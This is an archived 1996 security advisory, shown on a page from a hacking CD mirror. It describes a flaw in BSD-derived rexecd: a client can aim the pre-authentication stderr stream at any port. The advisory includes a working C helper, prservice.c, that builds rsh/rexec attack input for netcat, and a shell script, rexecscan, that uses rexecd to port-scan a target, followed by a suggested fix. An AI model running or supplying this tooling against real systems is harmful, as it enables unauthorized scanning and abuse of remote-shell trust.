home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rexecscan.txt < prev    next >
Text File  |  1998-07-17  |  4KB  |  162 lines

  1.  
  2. Vulnerability:
  3.         Rexecd allows redirection of stderr stream to an arbitrary port on
  4. the client machine.  This stream is opened by rexecd before authentication of
  5. the user.
  6.  
  7. Vulnerable:
  8.         All systems with BSD-based networking including FreeBSD,
  9. OpenBSD, NetBSD, BSDI BSD/OS, Solaris 2, OSF/1, Ultrix, Linux.
  10.  
  11. Background:
  12.         Rshd and rexecd can output stderr by opening a socket from the
  13. server machine to the client machine which is accepted by the rsh or rexec
  14. client.  The rsh client opens the initial connection from a privileged port,
  15. rshd responds from a privileged port, and redirects the connection to a
  16. privleged port on the client machine.  The trust model is preserved because
  17. this whole process is controlled by the setuid program rsh on the client
  18. machine.
  19.         Exec is fundamentally similar to the shell service except that instead
  20. of a remote and local username being transmitted (for .rhosts and hosts.equiv
  21. authentication only) a username and password is transmitted, and the whole
  22. exchange uses unprivileged ports.
  23.  
  24. Discussion:
  25.         Because rexec uses unprivileged ports for the whole process, any
  26. user can send a request to a rexecd requesting connection of the stderr stream
  27. to an arbitrary port on the client machine.  Since the client is unprivileged,
  28. there is no possibility for the legitimate stderr stream to be destined for a
  29. privileged port.
  30.         In addition, spoofing techniques could allow the client to direct
  31. the stderr stream towards an arbitrary host as well as an arbitrary port,
  32. possibly exploiting a given trust model.
  33.         Since rexecd terminates if the stderr port can't be connected to,
  34. and the port can be specified, rexecd can be used to easily scan the client
  35. host from the server host.  The included script "rexecscan" demonstrates
  36. this.
  37.  
  38. Repeat-By:
  39.  
  40. begin prservice.c
  41.  
  42. /* modified by jaeger 12Nov1996. Duplicated slack coding style.
  43.  
  44.    now takes
  45.         port locuser remuser [cmd]
  46.         port remuser passwd [cmd]
  47.    where port is the dst port you wish the stderr socket to connect to
  48.    from the server to the client machine.
  49.  
  50. /* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
  51.    rsh/rexec attacks.  Needs to be a prog because shells strip out nulls.
  52.  
  53.    args:
  54.         locuser remuser [cmd]
  55.         remuser passwd [cmd]
  56.  
  57.    cmd defaults to "pwd".
  58.  
  59.    ... whatever.  _H*/
  60.  
  61. #include <stdio.h>
  62.  
  63. /* change if you like; "id" is a good one for figuring out if you won too */
  64. static char cmd[] = "pwd";
  65.  
  66. static char buf [256];
  67.  
  68. main(argc, argv)
  69.   int argc;
  70.   char * argv[];
  71. {
  72.   register int x;
  73.   register int y = 0;
  74.   char * p;
  75.   char * q;
  76.  
  77.   p = buf;
  78.   memset (buf, 0, 256);
  79.  
  80.   if (! argv[1])
  81.     goto wrong;
  82.   x = strlen (argv[1]);
  83.   memcpy (p, argv[1], x);       /* port plus null */
  84.   x++;
  85.   p += x;
  86.   y += x;
  87.  
  88.   if (! argv[2])
  89.     goto wrong;
  90.   x = strlen (argv[2]);
  91.   memcpy (p, argv[2], x);       /* second arg plus null */
  92.   x++;
  93.   p += x;
  94.   y += x;
  95.  
  96.   if (! argv[3])
  97.     goto wrong;
  98.   x = strlen (argv[3]);
  99.   memcpy (p, argv[3], x);       /* third arg plus null */
  100.   x++;
  101.   p += x;
  102.   y += x;
  103.  
  104.   q = cmd;
  105.   if (argv[4])
  106.     q = argv[4];
  107.   x = strlen (q);               /* not checked -- bfd */
  108.   memcpy (p, q, x);             /* the command, plus final null */
  109.   x++;
  110.   p += x;
  111.   y += x;
  112.  
  113.   memcpy (p, "\n", 1);          /* and a newline, so it goes */
  114.   y++;
  115.  
  116.   write (1, buf, y);            /* zot! */
  117.   exit (0);
  118.  
  119. wrong:
  120.   fprintf (stderr, "%s: <port> <arg> <arg>\n",argv[0]);
  121.   exit (1);
  122. }
  123.  
  124. end prservice.c
  125.  
  126. begin rexecscan
  127.  
  128. #!/bin/sh
  129. # Dumb script to demonstrate scanning with rexecd
  130. # jaeger, 12Nov1996
  131.  
  132. # Path to netcat
  133. NC=nc
  134. # Path to prservice program
  135. PRS=./prservice
  136. # Port to scan to
  137. MAX=1024
  138.  
  139. TARGET=$1
  140. USER=$2
  141. PASSWORD=$3
  142.  
  143. PORT=1
  144.  
  145. if [ $# -ne 3 ]; then
  146.         echo "$0 <targethost> <username> <password>"
  147. fi
  148.  
  149. while [ $PORT -lt $MAX ]; do
  150.         $PRS $PORT $USER $PASSWORD "echo $PORT open" | $NC $TARGET 512
  151.         PORT=`expr $PORT + 1`
  152. done
  153.  
  154. exit 0
  155.  
  156. end rexecscan
  157.  
  158. Suggested Fix:
  159.         The rexecd should check the specified return port ("port") to make
  160. sure it is nonprivileged, and not open the stderr stream until authentication
  161. is complete.  Similar fixes for rshd are left as an exercise for the reader.
  162.